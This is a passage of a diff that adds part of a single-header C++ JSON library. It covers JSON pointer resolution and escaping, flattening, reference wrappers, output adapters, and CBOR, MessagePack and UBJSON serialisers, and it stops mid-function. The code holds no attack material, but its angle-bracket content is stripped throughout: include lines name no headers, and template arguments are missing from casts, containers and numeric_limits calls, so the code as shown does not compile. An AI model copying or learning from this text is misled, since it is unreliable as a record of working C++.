JSON_THROW(detail::out_of_range::create(404, "unresolved reference token '" + reference_token + "'")); + } + } + + return *ptr; + } + + /*! + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + @throw out_of_range.402 if the array index '-' is used + @throw out_of_range.404 if the JSON pointer can not be resolved + */ + BasicJsonType& get_checked(BasicJsonType* ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->type()) + { + case detail::value_t::object: + { + // note: at performs range check + ptr = &ptr->at(reference_token); + break; + } + + case detail::value_t::array: + { + if (JSON_HEDLEY_UNLIKELY(reference_token == "-")) + { + // "-" always fails the range check + JSON_THROW(detail::out_of_range::create(402, + "array index '-' (" + std::to_string(ptr->m_value.array->size()) + + ") is out of range")); + } + + // note: at performs range check + ptr = &ptr->at(array_index(reference_token)); + break; + } + + default: + JSON_THROW(detail::out_of_range::create(404, "unresolved reference token '" + reference_token + "'")); + } + } + + return *ptr; + } + + /*! + @brief return a const reference to the pointed to value + + @param[in] ptr a JSON value + + @return const reference to the JSON value pointed to by the JSON + pointer + + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + @throw out_of_range.402 if the array index '-' is used + @throw out_of_range.404 if the JSON pointer can not be resolved + */ + const BasicJsonType& get_unchecked(const BasicJsonType* ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->type()) + { + case detail::value_t::object: + { + // use unchecked object access + ptr = &ptr->operator[](reference_token); + break; + } + + case detail::value_t::array: + { + if (JSON_HEDLEY_UNLIKELY(reference_token == "-")) + { + // "-" cannot be used for const access + JSON_THROW(detail::out_of_range::create(402, + "array index '-' (" + std::to_string(ptr->m_value.array->size()) + + ") is out of range")); + } + + // use unchecked array access + ptr = &ptr->operator[](array_index(reference_token)); + break; + } + + default: + JSON_THROW(detail::out_of_range::create(404, "unresolved reference token '" + reference_token + "'")); + } + } + + return *ptr; + } + + /*! + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + @throw out_of_range.402 if the array index '-' is used + @throw out_of_range.404 if the JSON pointer can not be resolved + */ + const BasicJsonType& get_checked(const BasicJsonType* ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->type()) + { + case detail::value_t::object: + { + // note: at performs range check + ptr = &ptr->at(reference_token); + break; + } + + case detail::value_t::array: + { + if (JSON_HEDLEY_UNLIKELY(reference_token == "-")) + { + // "-" always fails the range check + JSON_THROW(detail::out_of_range::create(402, + "array index '-' (" + std::to_string(ptr->m_value.array->size()) + + ") is out of range")); + } + + // note: at performs range check + ptr = &ptr->at(array_index(reference_token)); + break; + } + + default: + JSON_THROW(detail::out_of_range::create(404, "unresolved reference token '" + reference_token + "'")); + } + } + + return *ptr; + } + + /*! + @throw parse_error.106 if an array index begins with '0' + @throw parse_error.109 if an array index was not a number + */ + bool contains(const BasicJsonType* ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->type()) + { + case detail::value_t::object: + { + if (!ptr->contains(reference_token)) + { + // we did not find the key in the object + return false; + } + + ptr = &ptr->operator[](reference_token); + break; + } + + case detail::value_t::array: + { + if (JSON_HEDLEY_UNLIKELY(reference_token == "-")) + { + // "-" always fails the range check + return false; + } + if (JSON_HEDLEY_UNLIKELY(reference_token.size() == 1 && !("0" <= reference_token && reference_token <= "9"))) + { + // invalid char + return false; + } + if (JSON_HEDLEY_UNLIKELY(reference_token.size() > 1)) + { + if (JSON_HEDLEY_UNLIKELY(!('1' <= reference_token[0] && reference_token[0] <= '9'))) + { + // first char should be between '1' and '9' + return false; + } + for (std::size_t i = 1; i < reference_token.size(); i++) + { + if (JSON_HEDLEY_UNLIKELY(!('0' <= reference_token[i] && reference_token[i] <= '9'))) + { + // other char should be between '0' and '9' + return false; + } + } + } + + const auto idx = array_index(reference_token); + if (idx >= ptr->size()) + { + // index out of range + return false; + } + + ptr = &ptr->operator[](idx); + break; + } + + default: + { + // we do not expect primitive values if there is still a + // reference token to process + return false; + } + } + } + + // no reference token left means we found a primitive value + return true; + } + + /*! + @brief split the string input to reference tokens + + @note This function is only called by the json_pointer constructor. + All exceptions below are documented there. + + @throw parse_error.107 if the pointer is not empty or begins with '/' + @throw parse_error.108 if character '~' is not followed by '0' or '1' + */ + static std::vector split(const std::string& reference_string) + { + std::vector result; + + // special case: empty reference string -> no reference tokens + if (reference_string.empty()) + { + return result; + } + + // check if nonempty reference string begins with slash + if (JSON_HEDLEY_UNLIKELY(reference_string[0] != '/')) + { + JSON_THROW(detail::parse_error::create(107, 1, + "JSON pointer must be empty or begin with '/' - was: '" + + reference_string + "'")); + } + + // extract the reference tokens: + // - slash: position of the last read slash (or end of string) + // - start: position after the previous slash + for ( + // search for the first slash after the first character + std::size_t slash = reference_string.find_first_of('/', 1), + // set the beginning of the first reference token + start = 1; + // we can stop if start == 0 (if slash == std::string::npos) + start != 0; + // set the beginning of the next reference token + // (will eventually be 0 if slash == std::string::npos) + start = (slash == std::string::npos) ? 0 : slash + 1, + // find next slash + slash = reference_string.find_first_of('/', start)) + { + // use the text between the beginning of the reference token + // (start) and the last slash (slash). + auto reference_token = reference_string.substr(start, slash - start); + + // check reference tokens are properly escaped + for (std::size_t pos = reference_token.find_first_of('~'); + pos != std::string::npos; + pos = reference_token.find_first_of('~', pos + 1)) + { + JSON_ASSERT(reference_token[pos] == '~'); + + // ~ must be followed by 0 or 1 + if (JSON_HEDLEY_UNLIKELY(pos == reference_token.size() - 1 || + (reference_token[pos + 1] != '0' && + reference_token[pos + 1] != '1'))) + { + JSON_THROW(detail::parse_error::create(108, 0, "escape character '~' must be followed with '0' or '1'")); + } + } + + // finally, store the reference token + unescape(reference_token); + result.push_back(reference_token); + } + + return result; + } + + /*! + @brief replace all occurrences of a substring by another string + + @param[in,out] s the string to manipulate; changed so that all + occurrences of @a f are replaced with @a t + @param[in] f the substring to replace with @a t + @param[in] t the string to replace @a f + + @pre The search string @a f must not be empty. **This precondition is + enforced with an assertion.** + + @since version 2.0.0 + */ + static void replace_substring(std::string& s, const std::string& f, + const std::string& t) + { + JSON_ASSERT(!f.empty()); + for (auto pos = s.find(f); // find first occurrence of f + pos != std::string::npos; // make sure f was found + s.replace(pos, f.size(), t), // replace with t, and + pos = s.find(f, pos + t.size())) // find next occurrence of f + {} + } + + JSON_PRIVATE_UNLESS_TESTED: + /// escape "~" to "~0" and "/" to "~1" + static std::string escape(std::string s) + { + replace_substring(s, "~", "~0"); + replace_substring(s, "/", "~1"); + return s; + } + + /// unescape "~1" to tilde and "~0" to slash (order is important!) + static void unescape(std::string& s) + { + replace_substring(s, "~1", "/"); + replace_substring(s, "~0", "~"); + } + + private: + /*! + @param[in] reference_string the reference string to the current value + @param[in] value the value to consider + @param[in,out] result the result object to insert values to + + @note Empty objects or arrays are flattened to `null`. + */ + static void flatten(const std::string& reference_string, + const BasicJsonType& value, + BasicJsonType& result) + { + switch (value.type()) + { + case detail::value_t::array: + { + if (value.m_value.array->empty()) + { + // flatten empty array as null + result[reference_string] = nullptr; + } + else + { + // iterate array and use index as reference string + for (std::size_t i = 0; i < value.m_value.array->size(); ++i) + { + flatten(reference_string + "/" + std::to_string(i), + value.m_value.array->operator[](i), result); + } + } + break; + } + + case detail::value_t::object: + { + if (value.m_value.object->empty()) + { + // flatten empty object as null + result[reference_string] = nullptr; + } + else + { + // iterate object and use keys as reference string + for (const auto& element : *value.m_value.object) + { + flatten(reference_string + "/" + escape(element.first), element.second, result); + } + } + break; + } + + default: + { + // add primitive value with its reference string + result[reference_string] = value; + break; + } + } + } + + /*! + @param[in] value flattened JSON + + @return unflattened JSON + + @throw parse_error.109 if array index is not a number + @throw type_error.314 if value is not an object + @throw type_error.315 if object values are not primitive + @throw type_error.313 if value cannot be unflattened + */ + static BasicJsonType + unflatten(const BasicJsonType& value) + { + if (JSON_HEDLEY_UNLIKELY(!value.is_object())) + { + JSON_THROW(detail::type_error::create(314, "only objects can be unflattened")); + } + + BasicJsonType result; + + // iterate the JSON object values + for (const auto& element : *value.m_value.object) + { + if (JSON_HEDLEY_UNLIKELY(!element.second.is_primitive())) + { + JSON_THROW(detail::type_error::create(315, "values in object must be primitive")); + } + + // assign value to reference pointed to by JSON pointer; Note that if + // the JSON pointer is "" (i.e., points to the whole value), function + // get_and_create returns a reference to result itself. An assignment + // will then create a primitive value. + json_pointer(element.first).get_and_create(result) = element.second; + } + + return result; + } + + /*! + @brief compares two JSON pointers for equality + + @param[in] lhs JSON pointer to compare + @param[in] rhs JSON pointer to compare + @return whether @a lhs is equal to @a rhs + + @complexity Linear in the length of the JSON pointer + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + */ + friend bool operator==(json_pointer const& lhs, + json_pointer const& rhs) noexcept + { + return lhs.reference_tokens == rhs.reference_tokens; + } + + /*! + @brief compares two JSON pointers for inequality + + @param[in] lhs JSON pointer to compare + @param[in] rhs JSON pointer to compare + @return whether @a lhs is not equal @a rhs + + @complexity Linear in the length of the JSON pointer + + @exceptionsafety No-throw guarantee: this function never throws exceptions. + */ + friend bool operator!=(json_pointer const& lhs, + json_pointer const& rhs) noexcept + { + return !(lhs == rhs); + } + + /// the reference tokens + std::vector reference_tokens; +}; +} // namespace nlohmann + +// #include + + +#include +#include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +template +class json_ref +{ + public: + using value_type = BasicJsonType; + + json_ref(value_type&& value) + : owned_value(std::move(value)) + , value_ref(&owned_value) + , is_rvalue(true) + {} + + json_ref(const value_type& value) + : value_ref(const_cast(&value)) + , is_rvalue(false) + {} + + json_ref(std::initializer_list init) + : owned_value(init) + , value_ref(&owned_value) + , is_rvalue(true) + {} + + template < + class... Args, + enable_if_t::value, int> = 0 > + json_ref(Args && ... args) + : owned_value(std::forward(args)...) + , value_ref(&owned_value) + , is_rvalue(true) + {} + + // class should be movable only + json_ref(json_ref&&) = default; + json_ref(const json_ref&) = delete; + json_ref& operator=(const json_ref&) = delete; + json_ref& operator=(json_ref&&) = delete; + ~json_ref() = default; + + value_type moved_or_copied() const + { + if (is_rvalue) + { + return std::move(*value_ref); + } + return *value_ref; + } + + value_type const& operator*() const + { + return *static_cast(value_ref); + } + + value_type const* operator->() const + { + return static_cast(value_ref); + } + + private: + mutable value_type owned_value = nullptr; + value_type* value_ref = nullptr; + const bool is_rvalue = true; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + +// #include + +// #include + + +#include // reverse +#include // array +#include // uint8_t, uint16_t, uint32_t, uint64_t +#include // memcpy +#include // numeric_limits +#include // string +#include // isnan, isinf + +// #include + +// #include + +// #include + + +#include // copy +#include // size_t +#include // streamsize +#include // back_inserter +#include // shared_ptr, make_shared +#include // basic_ostream +#include // basic_string +#include // vector +// #include + + +namespace nlohmann +{ +namespace detail +{ +/// abstract output adapter interface +template struct output_adapter_protocol +{ + virtual void write_character(CharType c) = 0; + virtual void write_characters(const CharType* s, std::size_t length) = 0; + virtual ~output_adapter_protocol() = default; +}; + +/// a type to simplify interfaces +template +using output_adapter_t = std::shared_ptr>; + +/// output adapter for byte vectors +template +class output_vector_adapter : public output_adapter_protocol +{ + public: + explicit output_vector_adapter(std::vector& vec) noexcept + : v(vec) + {} + + void write_character(CharType c) override + { + v.push_back(c); + } + + JSON_HEDLEY_NON_NULL(2) + void write_characters(const CharType* s, std::size_t length) override + { + std::copy(s, s + length, std::back_inserter(v)); + } + + private: + std::vector& v; +}; + +/// output adapter for output streams +template +class output_stream_adapter : public output_adapter_protocol +{ + public: + explicit output_stream_adapter(std::basic_ostream& s) noexcept + : stream(s) + {} + + void write_character(CharType c) override + { + stream.put(c); + } + + JSON_HEDLEY_NON_NULL(2) + void write_characters(const CharType* s, std::size_t length) override + { + stream.write(s, static_cast(length)); + } + + private: + std::basic_ostream& stream; +}; + +/// output adapter for basic_string +template> +class output_string_adapter : public output_adapter_protocol +{ + public: + explicit output_string_adapter(StringType& s) noexcept + : str(s) + {} + + void write_character(CharType c) override + { + str.push_back(c); + } + + JSON_HEDLEY_NON_NULL(2) + void write_characters(const CharType* s, std::size_t length) override + { + str.append(s, length); + } + + private: + StringType& str; +}; + +template> +class output_adapter +{ + public: + output_adapter(std::vector& vec) + : oa(std::make_shared>(vec)) {} + + output_adapter(std::basic_ostream& s) + : oa(std::make_shared>(s)) {} + + output_adapter(StringType& s) + : oa(std::make_shared>(s)) {} + + operator output_adapter_t() + { + return oa; + } + + private: + output_adapter_t oa = nullptr; +}; +} // namespace detail +} // namespace nlohmann + + +namespace nlohmann +{ +namespace detail +{ +/////////////////// +// binary writer // +/////////////////// + +/*! +@brief serialization to CBOR and MessagePack values +*/ +template +class binary_writer +{ + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + using number_float_t = typename BasicJsonType::number_float_t; + + public: + /*! + @brief create a binary writer + + @param[in] adapter output adapter to write to + */ + explicit binary_writer(output_adapter_t adapter) : oa(adapter) + { + JSON_ASSERT(oa); + } + + /*! + @param[in] j JSON value to serialize + @pre j.type() == value_t::object + */ + void write_bson(const BasicJsonType& j) + { + switch (j.type()) + { + case value_t::object: + { + write_bson_object(*j.m_value.object); + break; + } + + default: + { + JSON_THROW(type_error::create(317, "to serialize to BSON, top-level type must be object, but is " + std::string(j.type_name()))); + } + } + } + + /*! + @param[in] j JSON value to serialize + */ + void write_cbor(const BasicJsonType& j) + { + switch (j.type()) + { + case value_t::null: + { + oa->write_character(to_char_type(0xF6)); + break; + } + + case value_t::boolean: + { + oa->write_character(j.m_value.boolean + ? to_char_type(0xF5) + : to_char_type(0xF4)); + break; + } + + case value_t::number_integer: + { + if (j.m_value.number_integer >= 0) + { + // CBOR does not differentiate between positive signed + // integers and unsigned integers. Therefore, we used the + // code from the value_t::number_unsigned case here. + if (j.m_value.number_integer <= 0x17) + { + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x18)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x19)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x1A)); + write_number(static_cast(j.m_value.number_integer)); + } + else + { + oa->write_character(to_char_type(0x1B)); + write_number(static_cast(j.m_value.number_integer)); + } + } + else + { + // The conversions below encode the sign in the first + // byte, and the value is converted to a positive number. + const auto positive_number = -1 - j.m_value.number_integer; + if (j.m_value.number_integer >= -24) + { + write_number(static_cast(0x20 + positive_number)); + } + else if (positive_number <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x38)); + write_number(static_cast(positive_number)); + } + else if (positive_number <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x39)); + write_number(static_cast(positive_number)); + } + else if (positive_number <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x3A)); + write_number(static_cast(positive_number)); + } + else + { + oa->write_character(to_char_type(0x3B)); + write_number(static_cast(positive_number)); + } + } + break; + } + + case value_t::number_unsigned: + { + if (j.m_value.number_unsigned <= 0x17) + { + write_number(static_cast(j.m_value.number_unsigned)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x18)); + write_number(static_cast(j.m_value.number_unsigned)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x19)); + write_number(static_cast(j.m_value.number_unsigned)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x1A)); + write_number(static_cast(j.m_value.number_unsigned)); + } + else + { + oa->write_character(to_char_type(0x1B)); + write_number(static_cast(j.m_value.number_unsigned)); + } + break; + } + + case value_t::number_float: + { + if (std::isnan(j.m_value.number_float)) + { + // NaN is 0xf97e00 in CBOR + oa->write_character(to_char_type(0xF9)); + oa->write_character(to_char_type(0x7E)); + oa->write_character(to_char_type(0x00)); + } + else if (std::isinf(j.m_value.number_float)) + { + // Infinity is 0xf97c00, -Infinity is 0xf9fc00 + oa->write_character(to_char_type(0xf9)); + oa->write_character(j.m_value.number_float > 0 ? to_char_type(0x7C) : to_char_type(0xFC)); + oa->write_character(to_char_type(0x00)); + } + else + { + write_compact_float(j.m_value.number_float, detail::input_format_t::cbor); + } + break; + } + + case value_t::string: + { + // step 1: write control byte and the string length + const auto N = j.m_value.string->size(); + if (N <= 0x17) + { + write_number(static_cast(0x60 + N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x78)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x79)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x7A)); + write_number(static_cast(N)); + } + // LCOV_EXCL_START + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x7B)); + write_number(static_cast(N)); + } + // LCOV_EXCL_STOP + + // step 2: write the string + oa->write_characters( + reinterpret_cast(j.m_value.string->c_str()), + j.m_value.string->size()); + break; + } + + case value_t::array: + { + // step 1: write control byte and the array size + const auto N = j.m_value.array->size(); + if (N <= 0x17) + { + write_number(static_cast(0x80 + N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x98)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x99)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x9A)); + write_number(static_cast(N)); + } + // LCOV_EXCL_START + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x9B)); + write_number(static_cast(N)); + } + // LCOV_EXCL_STOP + + // step 2: write each element + for (const auto& el : *j.m_value.array) + { + write_cbor(el); + } + break; + } + + case value_t::binary: + { + if (j.m_value.binary->has_subtype()) + { + write_number(static_cast(0xd8)); + write_number(j.m_value.binary->subtype()); + } + + // step 1: write control byte and the binary array size + const auto N = j.m_value.binary->size(); + if (N <= 0x17) + { + write_number(static_cast(0x40 + N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x58)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x59)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x5A)); + write_number(static_cast(N)); + } + // LCOV_EXCL_START + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0x5B)); + write_number(static_cast(N)); + } + // LCOV_EXCL_STOP + + // step 2: write each element + oa->write_characters( + reinterpret_cast(j.m_value.binary->data()), + N); + + break; + } + + case value_t::object: + { + // step 1: write control byte and the object size + const auto N = j.m_value.object->size(); + if (N <= 0x17) + { + write_number(static_cast(0xA0 + N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0xB8)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0xB9)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0xBA)); + write_number(static_cast(N)); + } + // LCOV_EXCL_START + else if (N <= (std::numeric_limits::max)()) + { + oa->write_character(to_char_type(0xBB)); + write_number(static_cast(N)); + } + // LCOV_EXCL_STOP + + // step 2: write each element + for (const auto& el : *j.m_value.object) + { + write_cbor(el.first); + write_cbor(el.second); + } + break; + } + + default: + break; + } + } + + /*! + @param[in] j JSON value to serialize + */ + void write_msgpack(const BasicJsonType& j) + { + switch (j.type()) + { + case value_t::null: // nil + { + oa->write_character(to_char_type(0xC0)); + break; + } + + case value_t::boolean: // true and false + { + oa->write_character(j.m_value.boolean + ? to_char_type(0xC3) + : to_char_type(0xC2)); + break; + } + + case value_t::number_integer: + { + if (j.m_value.number_integer >= 0) + { + // MessagePack does not differentiate between positive + // signed integers and unsigned integers. Therefore, we used + // the code from the value_t::number_unsigned case here. + if (j.m_value.number_unsigned < 128) + { + // positive fixnum + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 8 + oa->write_character(to_char_type(0xCC)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 16 + oa->write_character(to_char_type(0xCD)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 32 + oa->write_character(to_char_type(0xCE)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 64 + oa->write_character(to_char_type(0xCF)); + write_number(static_cast(j.m_value.number_integer)); + } + } + else + { + if (j.m_value.number_integer >= -32) + { + // negative fixnum + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer >= (std::numeric_limits::min)() && + j.m_value.number_integer <= (std::numeric_limits::max)()) + { + // int 8 + oa->write_character(to_char_type(0xD0)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer >= (std::numeric_limits::min)() && + j.m_value.number_integer <= (std::numeric_limits::max)()) + { + // int 16 + oa->write_character(to_char_type(0xD1)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer >= (std::numeric_limits::min)() && + j.m_value.number_integer <= (std::numeric_limits::max)()) + { + // int 32 + oa->write_character(to_char_type(0xD2)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_integer >= (std::numeric_limits::min)() && + j.m_value.number_integer <= (std::numeric_limits::max)()) + { + // int 64 + oa->write_character(to_char_type(0xD3)); + write_number(static_cast(j.m_value.number_integer)); + } + } + break; + } + + case value_t::number_unsigned: + { + if (j.m_value.number_unsigned < 128) + { + // positive fixnum + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 8 + oa->write_character(to_char_type(0xCC)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 16 + oa->write_character(to_char_type(0xCD)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 32 + oa->write_character(to_char_type(0xCE)); + write_number(static_cast(j.m_value.number_integer)); + } + else if (j.m_value.number_unsigned <= (std::numeric_limits::max)()) + { + // uint 64 + oa->write_character(to_char_type(0xCF)); + write_number(static_cast(j.m_value.number_integer)); + } + break; + } + + case value_t::number_float: + { + write_compact_float(j.m_value.number_float, detail::input_format_t::msgpack); + break; + } + + case value_t::string: + { + // step 1: write control byte and the string length + const auto N = j.m_value.string->size(); + if (N <= 31) + { + // fixstr + write_number(static_cast(0xA0 | N)); + } + else if (N <= (std::numeric_limits::max)()) + { + // str 8 + oa->write_character(to_char_type(0xD9)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + // str 16 + oa->write_character(to_char_type(0xDA)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + // str 32 + oa->write_character(to_char_type(0xDB)); + write_number(static_cast(N)); + } + + // step 2: write the string + oa->write_characters( + reinterpret_cast(j.m_value.string->c_str()), + j.m_value.string->size()); + break; + } + + case value_t::array: + { + // step 1: write control byte and the array size + const auto N = j.m_value.array->size(); + if (N <= 15) + { + // fixarray + write_number(static_cast(0x90 | N)); + } + else if (N <= (std::numeric_limits::max)()) + { + // array 16 + oa->write_character(to_char_type(0xDC)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + // array 32 + oa->write_character(to_char_type(0xDD)); + write_number(static_cast(N)); + } + + // step 2: write each element + for (const auto& el : *j.m_value.array) + { + write_msgpack(el); + } + break; + } + + case value_t::binary: + { + // step 0: determine if the binary type has a set subtype to + // determine whether or not to use the ext or fixext types + const bool use_ext = j.m_value.binary->has_subtype(); + + // step 1: write control byte and the byte string length + const auto N = j.m_value.binary->size(); + if (N <= (std::numeric_limits::max)()) + { + std::uint8_t output_type{}; + bool fixed = true; + if (use_ext) + { + switch (N) + { + case 1: + output_type = 0xD4; // fixext 1 + break; + case 2: + output_type = 0xD5; // fixext 2 + break; + case 4: + output_type = 0xD6; // fixext 4 + break; + case 8: + output_type = 0xD7; // fixext 8 + break; + case 16: + output_type = 0xD8; // fixext 16 + break; + default: + output_type = 0xC7; // ext 8 + fixed = false; + break; + } + + } + else + { + output_type = 0xC4; // bin 8 + fixed = false; + } + + oa->write_character(to_char_type(output_type)); + if (!fixed) + { + write_number(static_cast(N)); + } + } + else if (N <= (std::numeric_limits::max)()) + { + std::uint8_t output_type = use_ext + ? 0xC8 // ext 16 + : 0xC5; // bin 16 + + oa->write_character(to_char_type(output_type)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + std::uint8_t output_type = use_ext + ? 0xC9 // ext 32 + : 0xC6; // bin 32 + + oa->write_character(to_char_type(output_type)); + write_number(static_cast(N)); + } + + // step 1.5: if this is an ext type, write the subtype + if (use_ext) + { + write_number(static_cast(j.m_value.binary->subtype())); + } + + // step 2: write the byte string + oa->write_characters( + reinterpret_cast(j.m_value.binary->data()), + N); + + break; + } + + case value_t::object: + { + // step 1: write control byte and the object size + const auto N = j.m_value.object->size(); + if (N <= 15) + { + // fixmap + write_number(static_cast(0x80 | (N & 0xF))); + } + else if (N <= (std::numeric_limits::max)()) + { + // map 16 + oa->write_character(to_char_type(0xDE)); + write_number(static_cast(N)); + } + else if (N <= (std::numeric_limits::max)()) + { + // map 32 + oa->write_character(to_char_type(0xDF)); + write_number(static_cast(N)); + } + + // step 2: write each element + for (const auto& el : *j.m_value.object) + { + write_msgpack(el.first); + write_msgpack(el.second); + } + break; + } + + default: + break; + } + } + + /*! + @param[in] j JSON value to serialize + @param[in] use_count whether to use '#' prefixes (optimized format) + @param[in] use_type whether to use '$' prefixes (optimized format) + @param[in] add_prefix whether prefixes need to be used for this value + */ + void write_ubjson(const BasicJsonType& j, const bool use_count, + const bool use_type, const bool add_prefix = true) + { + switch (j.type()) + { + case value_t::null: + { + if (add_prefix) + { + oa->write_character(to_char_type('Z')); + } + break; + } + + case value_t::boolean: + { + if (add_prefix) + { + oa->write_character(j.m_value.boolean + ? to_char_type('T') + : to_char_type('F')); + } + break; + } + + case value_t::number_integer: + { + write_number_with_ubjson_prefix(j.m_value.number_integer, add_prefix); + break; + } + + case value_t::number_unsigned: + { + write_number_with_ubjson_prefix(j.m_value.number_unsigned, add_prefix); + break; + } + + case value_t::number_float: + { + write_number_with_ubjson_prefix(j.m_value.number_float, add_prefix); + break; + } + + case value_t::string: + { + if (add_prefix) + { + oa->write_character(to_char_type('S')); + } + write_number_with_ubjson_prefix(j.m_value.string->size(), true); + oa->write_characters( + reinterpret_cast(j.m_value.string->c_str()), + j.m_value.string->size()); + break; + } + + case value_t::array: + { + if (add_prefix) + { + oa->write_character(to_char_type('[')); + } + + bool prefix_required = true; + if (use_type && !j.m_value.array->empty()) + { + JSON_ASSERT(use_count); + const CharType first_prefix = ubjson_prefix(j.front()); + const bool same_prefix = std::all_of(j.begin() + 1, j.end(), + [this, first_prefix](const BasicJsonType & v) + { + return ubjson_prefix(v) == first_prefix; + }); + + if (same_prefix) + { + prefix_required = false; + oa->write_character(to_char_type('$')); + oa->write_character(first_prefix); + } + } + + if (use_count) + { + oa->write_character(to_char_type('#')); + write_number_with_ubjson_prefix(j.m_value.array->size(), true); + } + + for (const auto& el : *j.m_value.array) + { + write_ubjson(el, use_count, use_type, prefix_required); + } + + if (!use_count) + { + oa->write_character(to_char_type(']')); + } + + break; + } + + case value_t::binary: + { + if (add_prefix) + { + oa->write_character(to_char_type('[')); + } + + if (use_type && !j.m_value.binary->empty()) + { + JSON_ASSERT(use_count); + oa->write_character(to_char_type('$')); + oa->write_character('U'); + } + + if (use_count) + { + oa->write_character(to_char_type('#')); + write_number_with_ubjson_prefix(j.m_value.binary->size(), true); + } + + if (use_type) + { + oa->write_characters( + reinterpret_cast(j.m_value.binary->data()), + j.m_value.binary->size()); + } + else + { + for (size_t i = 0; i < j.m_value.binary->size(); ++i) + { + oa->write_character(to_char_type('U')); + oa->write_character(j.m_value.binary->data()[i]); + } + } + + if (!use_count) + { + oa->write_character(to_char_type(']')); + } + + break; + } + + case value_t::object: + { + if (add_prefix) + { + oa->write_character(to_char_type('{')); + } + + bool prefix_required = true; + if (use_type && !j.m_value.object->empty()) + { + JSON_ASSERT(use_count); + const CharType first_prefix = ubjson_prefix(j.front()); + const bool same_prefix = std::all_of(j.begin(), j.end(), + [this, first_prefix](const BasicJsonType & v) + { + return ubjson_prefix(v) == first_prefix; + }); + + if (same_prefix) + { + prefix_required = false; + oa->write_character(to_char_type('$')); + oa->write_character(first_prefix); + } + } + + if (use_count) + { + oa->write_character(to_char_type('#')); + write_number_with_ubjson_prefix(j.m_value.object->size(), true); + } + + for (const auto& el : *j.m_value.object) + { + write_number_with_ubjson_prefix(el.first.size(), true); + oa->write_characters( + reinterpret_cast(el.first.c_str()), + el.first.size()); + write_ubjson(el.second, use_count, use_type, prefix_required); + } + + if (!use_count) + { + oa->write_character(to_char_type('}')); + } + + break; + } + + default: + break; + } + } + + private: + ////////// + // BSON // + ////////// + + /*! + @return The size of a BSON document entry header, including the id marker + and the entry name size (and its null-terminator). + */ + static std::size_t calc_bson_entry_header_size(const string_t& name) + { + const auto it = name.find(static_cast(0)); + if (JSON_HEDLEY_UNLIKELY(it != BasicJsonType::string_t::npos)) + { + 